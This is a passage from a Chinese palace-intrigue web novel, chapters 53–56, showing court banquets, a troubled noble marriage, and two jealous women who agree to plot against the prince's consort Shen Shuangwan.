宫人一边引着仪王与沈霜晚往殿中走,一边道:“陛下与长公主殿下也正在过来了,娘娘说今日是家宴,请殿下不必太拘泥。”
“我知道了。”仪王点了点头,转而又看向了沈霜晚,一本正经道,“等会你就挨着我一起坐,你想吃什么,我就给你夹什么。”
沈霜晚笑着看他,道:“这不成规矩,哪有让殿下给我布膳的?”
“家宴嘛,不都是这样?”仪王笑着拉着沈霜晚跨过了高高的门槛,又绕过了两扇屏风,穿过了幔帐,行到了正殿中。
那两只狮子猫先他们一步已经跳到了皇后左右,正无所不用其极地撒娇。
皇后搂着两只狮子猫,看向了仪王和沈霜晚,面上带着笑,免了他们行礼:“便就坐吧!等会圣上与长公主要过来,今日便是家宴。”
仪王便不见外地拉着沈霜晚在下首坐下,口中道:“这会儿可有什么吃的?我饿得头晕眼花,至少能吃一头牛。”
话音未落,外头传来了内侍通传声音,今上与长公主一起到来了。
于是仪王又拉着沈霜晚一起站起来。
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捧着香炉拿着拂尘提着宫灯开道的内侍低着头依次进到殿中来,之后便是今上与长公主,在他们之后又跟随着数十位宫人,手中抱着如意金扇等物,浩浩荡荡。
上首的皇后站起身迎了两步,今上便道了免礼,亲自挽起了皇后的手与她一并回到上首,共同坐下。
待到帝后安坐了,武阳长公主便上前去与皇后行礼,再随宫人在一旁落座。
仪王与
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沈霜晚再要上前,便见今上摆了摆手,示意他们免礼。
“家宴,不必那么多规矩,坐吧!”今上如此说着,又示意宫人送上晚膳来。
今上话音落下,早已等待多时的宫人们便捧着各种菜肴进入殿中,上呈到各人面前的食案上。
“刚才在外头便听着十一郎喊饿,给他多上两道肉菜。”今上顿了顿,目光落在了沈霜晚身上,他想了想,又看向了仪王,“你府中庶务,如今是沈氏在给你打理么?”
仪王顿了顿,有些意外地看向了今上,口中道:“有长史打理便足够了,沈氏才到我府上,年头生产又休养了数月,我不舍得叫她辛苦。总之我府上人口又少,没那么多庶务要打理,长史做事就足够。”
这话听得今上表情扭曲了一会,又多看了沈霜晚一眼,最后看向了皇后:“今日皇妹倒是与朕建议了件事情。”
皇后从容不迫笑了笑,并不多看长公主,口中只道:“俗话说不痴不聋,不作阿家翁。十一郎府上的事情我是不想管的,陛下也权当没看到吧?总之不过那些情情爱爱,理他做什么呢?”
今上点了点头,道:“朕也是如此想,不过皇妹的建言听起来不错。”说着话,他看向了武阳长公主,“皇妹也是在给侄儿着想。”
武阳长公主笑了起来,想要说什么时候,却被皇后止住了。
“他自己为自己打算就够了,长公主应多为自家孩儿打算着想。”皇后不冷不热说道,她看着长公主,“上一回我想着亲上加亲给他说了娘家的侄女,这么一说,便闹了我五六年不止,如今我是不愿意再沾染这些。”
武阳长公主顿了顿,又看向了仪王,只见仪王正与沈霜晚亲密地挨在一起,仿佛没听到他们说话一般,还在给沈霜晚夹菜。
她再看向今上和皇后,眼下形势已经如此明了,她心中也有了分数。
于是她便道:“我也不过白操心,娘娘就当我是给自家不争气的女儿操心太多,看着弘美也当了是亲生的孩儿,总是想着替小孩儿拿主意。”
皇后不以为意摆了摆手,道:“你也是慈母了。”
.
这一场家宴仪王吃得开心,沈霜晚也尝了许多之前没吃过的菜肴。
今上和皇后明面上和乐融融说了趣事,还相约了明日天气好一起去爬山。
武阳长公主则是吃得五味杂陈,她一时想着京中的袁嘉儿,一时又想起与今上爬山时候今上随口说的那两句关于先太子的话,再想想去年寿宴上今上说要立太子的事情,竟是感觉食不知味。
若今上便就是要立仪王为太子,那么——她当然不应当因为袁嘉儿与薛望得罪他,太子就是将来的皇帝。
她应当对仪王更好一些。
只是,她忽地又想起了留守在京中的隋王与嘉王,她知道太后是想让隋王去当太子的。
当年先太子与郑鹤得那场大乱之中,是有太后和惠妃的手笔的。
今上和皇后知晓么?
她抬头看向了上首的帝后。
惠妃是在先太子出事后第二年突然病逝的。
太后已经数年只在宫中,不曾与今上和皇后一起出行。
当然,太后每每只说自己年纪大了不想动弹——那是真的么?
长公主忽地觉得自己疑神疑鬼。
她再抬眼看向了仪王,仪王低头与沈霜晚说了什么,沈霜晚便轻轻笑起来。
53. 抉择
武阳长公主在行宫住了十日,便以放心不下京中袁嘉儿的亲事向今上请辞离开。
今上自然不会阻拦,便给了赏赐,又叫人送她回京去。
长公主来请辞时候皇后就在一旁逗猫,听着今上的话,便抬头看向了一旁的宫人,语气淡淡:“前两日是不是听说杨家老夫人在这边受了凉?”
宫人忙上前道:“是说有些头晕。”
皇后点了点头,又看向了长公主,道:“我那老母亲身体不好,我原还想过两日差人送她回京去。长公主要回京倒是正好,叫我那老母亲搭一程,长公主可介意?”
长公主看了今上一眼,今上却聚精会神看着皇后,面上神色也看不出如何。这事情她都不必太费力去想,多半应当还是杨氏想嫁女儿惹恼了皇后,她倒是庆幸那日她没真的把话说出口。想着这些事情,她口中便已经道:“有老夫人在路上作伴,倒是多个热闹说话的人。”
皇后便笑了笑,向宫人道:“把前儿从库房里找出来的那一支凤钗拿来。”
宫人应下,进到后头去不多时便捧着一个精致的匣子出来了。
今上随手接了匣子打开看了一眼,有些诧异笑着看向了皇后:“这是什么时候的东西?朕竟然都想不起来。”
皇后便向今上笑道:“我也想不起来,前儿在库房里看到,上头印记看着眼生,或许是哪年有人送到我这儿来的吧!”一边说着,她就着今上的手把藏在凤凰翅膀底下的印记指给他看,“这样式如今我戴便太不稳重,便叫人收拾出来了。”
今上认真端详了一阵,笑着摇了头,道:“这印记瞧着像南边来的,朕一时也想不起来。”
皇后从今上手里取过了匣子,又示意今上把那凤钗放回去,接着才向长公主道:“成安成亲那日,我恐怕是赶不回去了,这凤钗便给成安添妆吧!”
长公主忙上前接了了那装了凤钗的匣子,真心实意感激道:“娘娘给成安添妆,是她莫大的福分。”
皇后笑了一声,向今上道:“从北岭回京还要下山,这天气热又不好走得太快,便让长公主早些走吧?”
今上点了头,便让人送了长公主离开。
另一边,杨家别院中,卢夫人得了皇后身边宫人的吩咐,压着心中的不满,搀扶着老夫人上了马车,杨家那三个女孩儿此刻跟随在身后,面上显露出忐忑和惶恐。
武阳长公主的车驾已经在前面等候,卢夫人吩咐那三个女孩儿跟着老夫人,自己上前去见了武阳长公主,又好一番交际,才回到后面的马车上来。
“老夫人何必与娘娘较劲……”卢夫人把从武阳长公主那里听来的话就当着那三个女孩的面说给了杨老夫人听,“娘娘再如何也是皇后,再如何看顾咱们家,她也是皇后。”
杨老夫人抿了下嘴,狠厉道:“是皇后又如何,还不是我肚子里生出来的?”
既然说了这话,卢夫人便也不再与杨老夫人再多分辨,只叫马车略慢一些,示意那三个女孩儿到后头那辆车上去。
杨九娘三人如释重负一般,赶紧下了车换到后面去。
卢夫人命人送了早膳到车中来,自顾自用了早饭,不理会一旁的老夫人。
马车摇摇晃晃下了北岭,到了宝吉镇上,换了御林军护卫,朝着京城疾驰而去。
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沈霜晚是到午膳时候才从仪王那里知道长公主与杨家人已经离开北岭行宫的事情。
“这下是清净多了。”仪王的语气中带着些说不出的自在,他大大咧咧地伸长了腿,毫无形象地靠在凭几上,“再不必总担心有人突然冒出来。”
沈霜晚看了仪王一眼,把怀里开始扭动的沈云哄了一会,交给奶妈带着他去喝奶,然后才缓缓道:“惦记着殿下的人多。”
“你不惦记我?”仪王撑着头幽幽看着她,“你怎么都不问我杨家的事情?”
“为什么要问?”沈霜晚好笑地看着他,“殿下想说,自然会与我说;不想说,我问了也白问。”
仪王噎了一下,嘟哝道:“你都没问,怎么知道我不会说?”
沈霜晚看着仪王,他此刻微微皱着眉头,眼中带着几分故意显露的委屈,倒是比平常更惹人喜爱一些——她便在心中感慨,便是不论其他,只论相貌,他是强过了薛望太多,无论如何她都不算亏。
于是她朝着他伸了手,他果然便就拉了她一把,两人又挨在一起坐了。
“我是觉得杨家的事情……没什么好问的。”沈霜晚从身后抓了个软垫靠住了,她看着仪王明亮的眼睛,她可以从他的眼中看到自己的身影,“殿下既然与先王妃和离,以殿下的性子,应当不会再从杨家娶一位王妃。我想,殿下虽然不喜欢先王妃,大约也不会希望先王妃在杨家过得太过尴尬。”
仪王握住她的手晃了晃,面上换上了笑颜,他道:“我哪有你说的那么好,我就是不喜欢杨家人。”
“殿下在我心中是好人,所以殿下行事我总愿意往好处想。”她看着他,“殿下难道希望你在我心中是个大恶人么?”
仪王一时无话,只握着她的手不放开。
沈霜晚便任由他握着。
从殿中往外看,能看到鸟儿正在树上休息,能看到院子里面的树被风吹过轻轻摇摆。
思绪正散漫时候,她忽然听仪王道:“我应当不会再娶什么王妃。”
她愣了愣,有些茫然地看向身边的人。
他也正看着她。
他似乎在等着她问为什么。
她便也就问了:“殿下为何突然这么说?”
他修长的眉毛扬起来,面上露出几分玩世不恭。他道:“因为想叫你安心。”
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武阳长公主回京之后便开始准备成安郡主与薛望的亲事。
前次纳征时候已经问了吉日,再过十日,便是成安郡主嫁到永平侯府的日子。
她把皇后亲赐的凤钗加到了成安郡主的嫁妆中,又耐着性子叮嘱了成安郡主许多事情,叫她成亲后学着做个大人,不可再像现在这样任性。
她看不太出来自己的女儿到底听进去了多少,只是事到如今,她也只能这么说一说。
行宫中的事情她没有与女儿多说,但与儿子却细细商量了。
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乐昌郡王听着母亲说立太子的事情,又提起当年先太子与郑鹤得那事情,面色变得凝重起来。
他道:“母亲是长公主,我是郡王,将来无论谁当太子都不会亏待了我们,哪怕不重用,后半辈子在京中也不愁吃穿,我倒是觉得不必想得太多。”
武阳长公主却是忧虑,当初她的驸马便是牵扯其中无辜丢了性命,若这太子能顺利立了,不管立谁,她自然是不用担忧今后,可若是立太子起了波折,又出了如当初一样的事情,谁知道会不会突然被牵连呢?
“离隋王嘉王远一些。”武阳长公主拿了主意,“等陛下回京了,你请个外地的官,外放几年。”
乐昌郡王有些惊讶地看向了自己母亲:“外放?”
“原本嘉儿成亲的事情便叫我头疼,外头不知有多少风言风语止不住,我本就不想在京中听这些。”武阳长公主道,“现在又有太子之争。你父亲当年什么都没做便受到牵连,我不想你也无缘无故牵连到其中了。不如便外放几年,等京中平顺了,再回来。”
乐昌郡王静默了一会,道:“母亲说得有理,等嘉儿嫁人的事情都办完了,她回门过了,我便请旨外放。”顿了顿,他看向了长公主,又问,“母亲到时候随我一起离京吧?”
“自然是与你一道离京的。”武阳长公主说道。
.
白露又过了三日,便是成安郡主袁嘉儿成亲的日子。
永平侯薛望带着亲迎的队伍浩浩荡荡来到了武阳长公主府上,一番催妆后,袁嘉儿坐上了彩车,去到永平侯府。
宫中太后有赏赐添妆,远在北岭的今上也派了人前来庆贺,再加上前来道贺的达官显贵,这么一场婚礼让朱氏喜笑颜开,可却又叫薛望愁肠万千。
他叫人在府中重新修整了正院作为袁嘉儿的住处,他把当初沈霜晚留下的那些杂碎的东西全都收在了书房之中,连同当初跟着沈霜晚的婢女。
夜幕降临时候,正院喜字高悬,红烛摇曳,薛望穿着喜服站在院中,他想起他与沈霜晚成亲的那天夜晚。
他进到屋子里面,袁嘉儿安静坐在床边,正期盼地看着他。
他脚步顿了顿,终是露出了几分失落。
袁嘉儿眉头皱起来,她娇蛮地皱起眉头,不高兴道:“你为何那样看着我?”
“臣——只是喝了太多酒,脑子不清醒了。”薛望如此说道,“待臣去前头换身衣服吧,免得酒气熏着了殿下。”
“我们已经是夫妻,倒也不必这么臣啊臣的。”袁嘉儿指了指自己的侍女,示意她们上前去帮薛望更衣,“这儿难道没有你的衣服?便就在这儿换。”
薛望站定了,他再次看向袁嘉儿,他想起前头酒宴上有人笑着与他打趣,说他好福气,前几日就看到乐昌郡王往吏部去,想来是要为他跑官请个实职了,他这次总算有个好舅兄。
他心思百转千回,只又看向了袁嘉儿,朝着她走过去。
他想,哪怕这个妻子他并不算喜欢,可若能有实职,他便愿意给她体面。
这世上女人所要的,不都是名分和体面?
54. 荒诞事
秋分那日,沈霜晚跟随圣驾一起回到京城,回到阔别了数月的王府。
府中倒是一如往常,只有沈云小孩儿似乎不太适应,让她抱着四处看看走走,又安慰哄了好一会儿才安心下来能吃能闹了。
快傍晚时候,仪王从皇宫回来,他在前头换了衣服,便叫人把晚膳送到沈霜晚这边来。
待到沈霜晚也换了衣服重新梳了头发从里间出来,仪王就已经出现在了外间的席上。
“你喜欢吃鱼,我叫他们做了一条鲈鱼。”仪王向她伸了手,面上带着笑,“刚才我回来时候,听了好多笑话。”
沈霜晚走了两步,拉住仪王的手,两人如在行宫时候那般挨在一起坐了。
“什么笑话?”沈霜晚看了仪王一眼,只觉得他今天笑得格外幸灾乐祸一些,“我能听么?”
“当然就是要说给你听的。”仪王看着侍女把饭菜都摆在席上,便摆了摆手示意她们都退出去,然后才道,“你知道,长公主之所以先回京,是为了成安郡主的婚事。”
沈霜晚点了头,有些疑惑:“难道这婚事有什么意外?”
“那倒不是,成安郡主与永平侯已经成了亲。”仪王一边说又一边憋不住笑得发抖,“乐昌郡王应当是不想掺和京中的事情,所以在父皇回京之前就从吏部打听,想请旨外放到地方上去,吏部便把这事情递到了父皇跟前,回京之前父皇便准了。”
沈霜晚有些没明白仪王到底在笑什么,她只好无奈看着他:“这究竟好笑在哪里?”
“永平侯从别人那里听说乐昌郡王出入吏部,大约以为是乐昌郡王要为他谋个实职。”仪王终于是忍不住哈哈大笑起来,“成安郡主回门后听说乐昌郡王要带着长公主一起离京,闹腾起来要跟着长公主一起走,永平侯知道乐昌郡王竟然不是给他谋实职,回府后直接就与成安郡主分院而居。”一边说着,他一边看向了她,“你猜我怎么知道?”
这样荒诞事情,听得沈霜晚失笑,她道:“我却不知殿下如何知晓的。”
“成安郡主进宫去太后那儿告状了,我送母后回宫的时候,太后打发人带着她来找母后,我便就在旁边听了个完整。”仪王放声大笑起来,“我从未听过这么荒谬的事情,成安郡主在母后跟前哭得一把鼻涕一把泪,母后只叫她先回府去。”
“回长公主府?”沈霜晚不太确定地问。
“自然是回永平侯府。”仪王道,“长公主与乐昌郡王都离了京,长公主府如今封存请了内府帮忙看管,等长公主回来的时候才会开启。”
沈霜晚愣了愣,最后只笑着摇了摇头,道:“夫妻之间的事情……说不定过两日他们夫妻俩就和好了。”
听着这话,仪王认真看向了她,道:“你把他们想得太好了一些,你且看吧,他们会一直闹腾下去,永远都没完没了。”
沈霜晚皱了皱眉,末了却还是笑了一声,道:“那也与我没什么关系。”她看着仪王,“殿下不是那样的人,我就心满意足。”
仪王听着这话顿时便心花怒放起来,他抬手给她夹了一大块鱼肉,道:“我当然不会是那样的人!永平侯那样的也是世间罕有,我回来时候便在想,我应当早几年打听到岳父早逝,然后早早儿去沈家把你娶过来,你便不必去薛家受罪。”
岳父二字叫沈霜晚心咯噔跳了一下,她垂了眉眼,只道:“早几年碰到殿下,大约要和杨姑娘碰上,还是算了。”
“早些遇到你,便不必和杨家有什么沾染。”仪王语气淡漠了许多,“今日第二件荒谬好笑的事情,便就是杨家那姐妹几个。”
沈霜晚慢慢吃着鱼,等着仪王继续说下去。
“那日杨家人回家,那几个女孩儿就和杨月芷打起来,杨月芷打不过那三姐妹,去别院躲了几日,今天母后回来,卢夫人便带着她进宫,我还恰好和她们母女碰到了。”仪王语气中带着一些不屑,“卢夫人想请母后帮忙给杨月芷说一门亲事,母后没有应下。”
沈霜晚有些目瞪口呆,万万没想到杨家那几个女孩儿看起来柔柔弱弱,竟然还能打起来。
“若非……”仪王叹了口气,“要是大哥还在,我都想带着你一起外放到地方上去几年了。”
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过了秋分,京中便彻底凉爽。
隋王生辰宴往京中各处送了请帖,仪王收到隋王请帖看也没看,直接打发了长史罗粱往隋王府上送了份寿礼了事。
这边是仪王对这寿宴兴致缺缺,另一边却是京中的达官显贵闲散王公们对这寿宴热情高涨,待到隋王寿辰当日,府前那条宽阔的道路竟是被大大小小的马车塞满,堵死了两条路,最后不得不从京兆府借了人过来疏导。
袁嘉儿气闷地坐在马车中,不时撩开车帘看一看外面骑马的薛望。
“前头车马都已经在动了。”薛望语气淡漠,“等会我送殿下先到女眷那边。”
袁嘉儿狠狠瞪了薛望一眼,道:“不过只是个实职,你与我摆了多久脸色?倒像是我欠了你!”
听着这话,薛望便看向了她,他脸色并不好看——甚至他也没有掩饰。
“殿下,若无实职,我与你二人过不了多久就可以去喝西北风了。”薛望如此说道,“薛家不是富贵人家。”
袁嘉儿正想说什么,前头车马开始慢慢往前挪动,她便放下帘子不再与薛望争吵。
母亲与兄长连招呼也没和她打,就只回门时候简单交代了几句,然后便去了地方上,也不知什么时候才会回来。
如今京中只剩她一人,她虽然可以去宫中找太后撑腰,可也不能一点鸡毛蒜皮的破事就跑进宫去,次数多了,太后大约也会嫌烦不愿意管的。
袁嘉儿咬着嘴唇,她自然也知道薛望应当有个实职才好的,全是虚衔有什么用呢?
她是有嫁妆又有钱,可那是她的钱,她当然愿意给薛望用,但叫她给整个薛家用,她是不愿意的。
想到这里,她又撩起帘子看向了外头正淡漠看着远处的薛望,她道:“我今日去问问王妃,你也可以与隋王多说几句话。”
薛望低头看向她,沉默了一会才道:“你不必与王妃说这些,我自己来便行了。”
“你觉得我的话不管用?”袁嘉儿眉头皱起来。
薛望只摇了摇头,道:“郡主你面子大,等将来关键时候再用也不迟。”
这话让袁嘉儿心中稍微好过了一些,她便点了点头。
说着话,车马到了隋王府门口,薛望让长随把请帖交给门口的管事看过,然后送了袁嘉儿的马车从侧门进去后院,自己再绕回正门来。
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袁嘉儿下了马车,跟在侍女后头进到了隋王妃宴客的水榭中。
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隋王妃远远看到她就站起身来迎了几步,口中笑道:“姑妈今年不在京中,我们殿下还念叨了好几次,要多多替姑妈照看表妹。”
袁嘉儿命身后的侍女把礼物送上前来,道:“我替母亲还有兄长送给殿下的寿礼。”
隋王妃忙叫人收下,亲热地拉着袁嘉儿的手道:“你也太客气了些!”
说着话,隋王妃带着袁嘉儿进到水榭中,刚坐下没说几句话,外面又通传来了位国公夫人,隋王妃便只好向她倒了恼,起身又朝外走去。
袁嘉儿往外看了一眼,那位国公夫人并非是她熟悉的人,便收回了目光。
她从前跟着长公主经常来往这些宴席,席上这些人她看着也都眼熟,她心中不知为何憋着几分别扭,也不想与她们说话,便拿起杯子细细品茶。
一口茶水还没咽下去,她忽然听到身后有细碎的笑声传来。
“……这就是那位逼正妻和离的郡主?看起来倒是不怎么漂亮……”
“你真是胆子大,怎么什么都敢说……不要命了……”
“……我才回京城,这不是在认人?再说了,离得这么远,她也听不到……”
袁嘉儿捏着杯子的手缩紧了,她屏住呼吸去听那些人说话。
那两人似乎真觉得她听不到一般,说的话愈发露骨。
“不过是仗着亲娘是长公主,如今长公主和乐昌郡王都走了,她还算什么?”
“听说仪王殿下对那位沈氏尤其好,去北岭避暑还带着那位沈氏呢!我听说仪王还帮那位沈氏处理了沈氏过继嗣子的事情,虽说沈氏现在还是媵夫人,说不定将来能封侧妃当王妃呢!”
“不过我听说一件事情,是从圣上身边内侍嘴里听到的。”
“什么事情,说来听听?”
“听说长公主原本还想认沈氏为义女,你说,长公主是不是觉得沈氏比自己亲生的还好呀?”
“哎呀……这事情,还真说不准,又显得自己慈悲,还能让仪王多看她那个姑妈一眼。”
听到这里,袁嘉儿简直气不打一处来,她放下杯子,转身去找说话那两人。
但待她回头去看,那两人已经不再说话,她再无法从那么多宾客中找到那胡说八道的人。
沈氏、沈氏!
她在侯府便看着薛望把那沈氏留下的东西收在书房里,那日她虽然打砸了不少,薛望也说会把其他东西都处理了,但她总觉得薛望只是敷衍她,他根本不会那么做,他应当就是喜欢那个沈氏!
现在她又听这些长舌妇说沈氏,她们似乎觉得沈氏比她还好!还说她母亲认沈氏为义女!
这些莫须有的事情!
她们怎么敢说出口!
沈氏都比不过她一个小指头,她们凭什么捧着沈氏,就因为仪王?
袁嘉儿气得发抖,可却又无可奈何了,她愤愤回头不再去看那些人,她忽然恨起了沈氏,她想起那时候在宫里见到沈氏大腹便便的样子,沈氏是什么好东西,她怀着薛家的骨肉却跑到仪王府上,她做了那么多出格的事情,还能是什么好人?
她也连带着恨起了仪王,仪王为什么要封那个沈氏做什么夫人,为什么要替沈家过继嗣子,他从前对杨家人可不是这嘴脸!
正愤恨恼怒时候,她看到卢夫人与杨月芷从外面进来了。
55. 共图谋
卢夫人与杨月芷前来了隋王府,并非只是为了给隋王贺寿,而是因为前几日卢夫人与杨峻英趁着杨月芷还在庄子上时候,给她相看了梁国公那位丧妻的长子。
他们夫妻俩当然也知道杨月芷的性子,并不太敢逼迫她,原本还想着若是能请皇后下旨,也许她不会吵闹。但那日在宫中,皇后拒绝得十分果断,卢夫人与杨峻英便只好作罢。如今这事情他们还没有对杨月芷说破,只以宴会为名,带着她与梁国公夫人先见一见。
若是能投缘聊上几句更好,若是连话都讲不了几句,倒是也不必太勉强。
毕竟成亲向来是要结两姓之好而不是要去结仇的。
杨月芷之前与堂妹们动了手,又去庄子上住了一段时日,倒是没有往日那样气焰,显得沉闷了许多。她跟在卢夫人身后,扫过了宴会中那些或者陌生或者熟悉的面孔,心中涌出了许多愤恨与尴尬。
从前她是仪王妃时候,在座这些人,哪个看到她不要低头行礼呢?
现在倒好,她们看也不看她一眼,仿佛她不存在一般。
她想起那日在宫中巧遇了仪王的情形,仪王对着她母亲打了招呼,也是仿佛没看到她一样扬长而去。
都说郎心似铁,仪王那颗心比钢铁还要冷硬。
她心中浮起许多委屈,可又有那么一些希冀——毕竟仪王也没让她那几个堂妹去王府。
想着这些乱糟糟的事情,她注意到卢夫人停下脚步了。
杨月芷抬头看向了卢夫人面前的人,微微皱了皱眉头,看着似乎有几分面熟,好像是哪一位国公夫人?
“梁国公夫人。”卢夫人向她笑了笑,“上回我与梁国公夫人见面聊起你,国公夫人很喜欢你写的几首诗。”
杨月芷微微皱了皱眉头,再看向了那位目光慈和的国公夫人,意识到了什么。
“我什么时候写过诗?”杨月芷转了身,“我才不喜欢那些玩意呢!”
“哎,别走。”卢夫人拉住了她,“这可是隋王府上,不是在家里了。”
杨月芷撇了嘴,甩开卢夫人的手,只在旁边扭身坐下不再说话。
卢夫人带着几分歉意看向了国公夫人,国公夫人便知笑了笑,并没有多说什么。
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另一边,袁嘉儿遥遥看着杨月芷,心中一边是幸灾乐祸,一边是同病相怜。
幸灾乐祸自然是因为,她其实向来都不喜欢杨月芷。
从前杨月芷是仪王妃的时候,架子摆得比谁都大,压过了太子妃,甚至直逼皇后。
她不过就是个王妃,凭什么那么大架子呢?
那时候她还没封郡主,碰到杨月芷便要退一步,如这样宴饮场合碰到说不得还要行礼。
她不喜欢杨月芷是再正常不过的事情。
后来杨月芷与仪王闹得人仰马翻满地狼藉最后以和离为结局,她便觉得杨月芷活该。
再后来又看杨月芷纠缠不休非要和仪王复合,她便如看笑话一样看了这么几年。
若是从前,看到今日杨月芷这么低声下四憋屈样子,她必定有一番好笑的。
可今日……她忽然想到了自己。
自己追逐薛望的时候,在别人眼中,是否也和杨月芷一样?
只不过是喜欢而已,嫁给喜欢的人又到底有什么值得嘲笑的呢?
为何薛望现在会对那沈氏念念不完,而仪王……
袁嘉儿突然产生了那么一个念头。
沈氏。
薛望念念不完的是她,仪王现在爱得死去活来的也是她。
若……沈氏死了?
薛望想要的那个小孩儿自然会回到薛家,她还能装一装慈母。
她或者应当与杨月芷谋划一番。
她助杨月芷回去仪王做王妃,杨月芷帮她除掉沈氏。
主母弄死一个媵妾是最轻而易举的事情。
袁嘉儿心中涌起了几分扭曲的兴奋,她甚至有些埋怨长公主,为何那时候非要认什么义女?干脆弄死沈氏就好了,一了百了。若沈氏早死了,她嫁给薛望也不至于……不至于是现在这样憋屈。
想到这里,她叫侍女找了笔墨,写了张便条,又叫她送去给杨月芷。
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杨月芷从侍女手中接到那字条时候微微愣了愣。
她想不出来袁嘉儿要与她说什么。
她和袁嘉儿当然也相识,只是也仅止于相识。
杨家与武阳长公主府上来往少,她当初做王妃时候倒是因着仪王的关系与长公主府礼尚往来过那么几回。
尽管来往少,但她却对袁嘉儿没什么好感观。
武阳长公主宠她宠得厉害,把袁嘉儿养成了眼高于顶的样子,从前还不是郡主的时候就摆着郡主的架子,后来侥幸封了个郡主,俨然是把自己当公主了,比宫里的真公主还要嚣张跋扈。性子高傲不是什么坏事,可又偏偏喜欢上一个有妇之夫,从去年闹到今年,嫁前嫁后都闹得京中沸沸扬扬。
如今长公主都不在京中,她袁嘉儿找她会是有什么事情?
杨月芷想不出来,正想要回绝时候,一旁卢夫人又让她回答那位国公夫人问话。
她实在厌烦这样的事情,便起了身向卢夫人道:“成安郡主寻我去说话,母亲与国公夫人先聊吧,我去去就回。”
卢夫人愣了愣,正想说什么,杨月芷已经走开了。
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侍女引着杨月芷行到了水榭外面的露台上。
微风中,远处湖水波光潋滟,近处荷叶亭亭玉立。
袁嘉儿靠在栏杆上,手里拿着鱼食正往水中一点点抛洒。
听到身后动静,袁嘉儿转身看向了她,挥手叫侍女退下了。
“你有什么事情要和我说?”杨月芷上前了两步,也靠着栏杆站了。
袁嘉儿目光闪烁了一会,却问道:“你还在想和仪王重归于好,是么?”
杨月芷眼睛眯起来:“你什么意思?”
“若你还想,我愿意帮你。”袁嘉儿把手中的鱼食全抛洒到水中,转身看向了她,“皇后不愿意管,但上头还有太后呢!”
“你……?”杨月芷皱了眉头,心中却开始意动了,但又有十足的犹疑,“为什么?”
“难道你不想?”袁嘉儿不答反问。
杨月芷看着袁嘉儿,笑了一笑:“我的确想,可我想不出来你有什么理由帮我做这件事情。”
“我只是恰好不喜欢那个沈氏。”袁嘉儿语气坦然,“我想要她死。”
这话让杨月芷心猛然跳了几下,她几乎有些不太相信自己听到的话:“死?”
“当家主母处置一个媵妾是最方便不过的,你想要重回仪王身边,当然也不能让那么个狐狸精占据了仪王的后宅。”袁嘉儿目光灼灼看着她,“如何?你能重新获得王妃的身份,只不过是随手处理掉一个原本挡了你的路的女人,实在是再划算不过的事情。”
杨月芷艰难咽了下口水,这似乎是个太有诱惑力的提议。
“不瞒你说,我与薛望之间横贯着一根刺。”袁嘉儿话中带出几分狰狞,“那根刺就是沈氏,我想叫她去死。”
杨月芷罕见犹豫了起来。
袁嘉儿又道:“你放心,若你当不上王妃,自然也不会叫你去做杀人害命的
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事情。这事情成了,你能得到好处,若是不成,那不过是老天不愿帮我而已。”
“若这是好处……你为何不找别人?”杨月芷问。
袁嘉儿看向了她,道:“这自然是因为我将心比心,觉得你也是为情所困罢了。”
这话叫杨月芷沉默了下去。
“还因为,许多人会因为仪王如今的权势退避,不愿意在这种事情上与皇后、仪王作对,但你不会。”袁嘉儿无所谓地笑了一声,“当然啦,我听闻杨家已经在给你相看人家,你若忽然喜欢上了别人,不想重新做王妃,要回绝我的提议,我也不会对你有任何意见和看法。”
“我不认为太后能说动仪王和皇后。”杨月芷如此说道。
袁嘉儿道:“想办法便是了,总能有办法的。”
杨月芷看着袁嘉儿,想着这些年的憋屈,终是心一横拿定了主意:“好,我愿意答应你。”
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仪王府中,仪王一边翻看送进府中的新书,一边听长史罗粱说话。
“据说隋王寿辰,有人送了一只白色的巨龟与一条白色的巨蟒。”罗粱摇头晃脑地说道,“龟蛇一体,便是玄武呀~”
“祥瑞?”仪王有些好奇地看向了罗粱,“有些后悔今日没去看看了,还没见过白色乌龟呢!有多大?”
“我远远看了看,大概有殿下面前那个笔洗那么大?”罗粱左右看了看,目光落在了仪王案上那大约半尺长的瓷笔洗上。
仪王也看向了那笔洗,伸手比划了一番,有些哭笑不得:“这也能叫巨?”
罗粱笑道:“唱名那人说是巨龟,我便原封原样照着说巨龟了。”
“那巨蟒又有多大?”仪王又问。
“蛇倒是真的挺大,我看了看,有胳膊粗了。”罗粱比划了下他自己的胳膊,“盘在一起好大一条呢!”
“这龟和蛇大小不太匹配,合不成玄武了。”仪王摇了摇头,“太不严谨了。”
罗粱也笑了起来,道:“所以隋王殿下小小恼火了一番,把那些说是祥瑞的人训了一顿,只说这是寻常的白化龟和蟒,又说府中不爱这些爬行湿冷之物,命人送走。”
仪王若有所思看向了罗粱:“所以父皇不在京中这些时日,他们在鼓捣些什么东西?”
“隋王与嘉王两位殿下,还有雅王和密王,常常出城打猎。”罗粱说道,“也不会在外头过夜,多是傍晚时分就回来了。”
仪王垂着眼眸思索了一会,抬头看向了罗粱:“宫中太后呢?”
“冯家有个小公子在隋王长子身边做伴读。”罗粱道。
“我知道了。”仪王点了点头,指了指面前的书,看向了另一侧的长随,“你让人把这些书送到夫人院子里去,夫人喜欢看书,以后每一季有新书,记得也往夫人那儿送。”
长随忙应下,命人上前来把那些书抬走。
仪王重新看向了罗粱,又道:“我想给夫人抬一抬身份,你替我去城外寻一处僻静些的地方,不要挨着达官显贵了,僻静些,平日里不容易被骚扰到的。”
罗粱点点头,等着仪王继续吩咐。
“修个庄子,院子里能种点桑树果树最好,屋后有几亩田,最好离水近一些,否则每日挑水也是烦心事。”仪王说道,“不必太急,慢慢寻摸就行,不许滋扰了百姓。”
“殿下修这么个庄子是想做什么呢?”罗粱有些不解。
仪王道:“夫人想收留些孤女,不过这不是急于一时的事情,如今她还忙着带小云,分不出心来。你只准备着就是了。”
罗粱有些意外了,但他没有再多问,只一口应了下来。
56. 不平心
寿宴热闹了一整日。
晚间时候,隋王回到书房,正好碰到王妃从后面过来。
“听说你那边也来了不少人,没什么人惹事吧?”隋王一边请王妃坐下,一边让长史把要回话的人都带到别处去。
王妃笑了笑,道:“女眷能出什么事情?至多不过是阴阳怪气几句。”顿了顿,她看向隋王,“听说前头闹了一会,我原本想打发人到前头来看看,但忙起来又忘了,这会儿便亲自过来问问。”
隋王一边笑一边道:“是件荒谬事情,不知从哪里冒出来个人,说要送祥瑞,一条蛇一只乌龟。”他说着,便随手从书案上拿起砚台来比划了一下,“喏,就差不多这么大一只乌龟,不知是染的白色还是天生的白色。”
王妃诧异地看了眼那砚台,又看向了隋王:“这么点小?”
